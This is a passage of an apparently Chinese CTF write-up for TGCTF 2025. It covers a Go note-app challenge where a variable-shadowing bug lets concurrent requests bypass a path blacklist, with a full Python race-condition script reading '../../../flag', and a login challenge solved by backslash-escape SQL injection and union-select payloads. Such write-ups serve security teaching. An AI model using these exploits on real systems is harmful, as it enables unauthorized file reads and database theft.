http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}

// 渲染错误页面
func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}

func main() {
// 创建 notes 目录
os.Mkdir("notes", 0755)

safe := blackJack("/flag")

// 首页路由
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}

var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}

info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}

renderTemplate(w, "index.html", PageData{Notes: notes})
})

// 读取笔记路由
http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}

data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}

if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})

// 写入笔记路由
http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}

name := r.FormValue("name")
content := r.FormValue("content")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}

if len(content) > 10240 {
content = content[:10240]
}

safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 删除笔记路由
http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

// 启动 HTTP 服务器
srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}

这里也是没找到漏洞点,直接看wp了(真的有够细的了。。。)

找到关键点

可以发现此处safe的赋值使用的是=而不是:=,所以此时第一次输入一个任意的name,使得safe被赋值为 nil,然后立刻读取flag,此时safe还会是 nil。从而在服务器验证逻辑的”时间窗口”内绕过黑名单读取到flag

在Go中,运算符用于变量声明和赋值,并且=只能用于变量赋值。

直接粘贴脚本了(这里我把sleep改为0.1才竞争出来了)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import aiohttp
import asyncio
import time

class Solver:
def __init__(self, baseUrl):
# 初始化基础URL和端点
self.baseUrl = baseUrl
# 构造读取文件的端点URL(注意这里直接拼接,可能导致双斜杠问题)
self.READ_FILE_ENDPOINT = f'{self.baseUrl}'
# 有效请求参数(正常文件读取)
self.VALID_CHECK_PARAMETER = '/read?name=1'
# 无效请求参数(路径遍历攻击尝试)
self.INVALID_CHECK_PARAMETER = '/read?name=../../../flag'
# 竞争条件的并发请求数量
self.RACE_CONDITION_JOBS = 100

async def setSessionCookie(self, session):
# 设置会话cookie
await session.get(self.baseUrl)

async def raceValidationCheck(self, session, parameter):
# 构造完整的请求URL
url = f'{self.READ_FILE_ENDPOINT}{parameter}'
# 发送GET请求并返回响应文本
async with session.get(url) as response:
return await response.text()

async def raceCondition(self, session):
# 创建任务列表
tasks = list()
# 添加大量并发请求(有效和无效请求交替)
for _ in range(self.RACE_CONDITION_JOBS):
tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))
tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))
# 并行执行所有任务
return await asyncio.gather(*tasks)

async def solve(self):
# 创建aiohttp客户端会话
async with aiohttp.ClientSession() as session:
# 等待0.1秒(可能是为了让反向代理准备好)
await asyncio.sleep(0.1)

attempts = 1
finishedRaceConditionJobs = 0
while True:
# 打印当前尝试次数和完成的竞争条件任务数
print(f'[*] Attempts #{attempts} - Finished race condition jobs: {finishedRaceConditionJobs}', end='\r')

# 执行一批竞争条件检查
results = await self.raceCondition(session)
attempts += 1
finishedRaceConditionJobs += self.RACE_CONDITION_JOBS

# 检查所有响应结果
for result in results:
print(result)
# 如果响应中不包含flag格式,继续检查下一个
if 'TGCTF{' not in result:
continue

# 找到flag则打印并退出
print(f'\n[+] We won the race window! Flag: {result.strip()}')
exit(0)


if __name__ == '__main__':
# 目标基础URL
baseUrl = 'http://127.0.0.1:62709'
# 创建Solver实例
solver = Solver(baseUrl)
# 运行solve协程
asyncio.run(solver.solve())

TGCTF 2025 后台管理

描述:TeamGipsy队员不小心泄露了本届TGCTF的后台管理地址,还好管理员账户有强密码保护,暂时未造成威胁。 初始账号密码:tg/tg123

考点:sql注入'绕过

本来想用admin\测试一下类型,结果直接报错了

大概率是一题sql注入

admin‘#直接被禁用了,再仔细测了一下'被禁用了。

再仔细观察一下上面的报错信息发现密码处变为123456',那么可以猜测一下此时查询语句的结构

1
select * from tables where username = 'admin\' and password = '123456' 

这里用户名处的'\给转义了,所以实际上的结构是

1
select * from tables where username = 'xxx'123456' 

所以直接在密码处打sql注入就行了

测出列数为2

接下去就是打union联合注入就行了,但是打着打着突然发现长度有限制

1
2
username=admin\&password=union select database(),2#
username=admin\&password=union select table_name from information_schema.tables where table_schema='tgctf',2#

测试一下他的长度限制,限制只能输入64位。想不到咋绕过了直接猜测一下表名直接就出了(不行的话就爆破下表名)

1
username=admin\&password=union select *,2 from flag#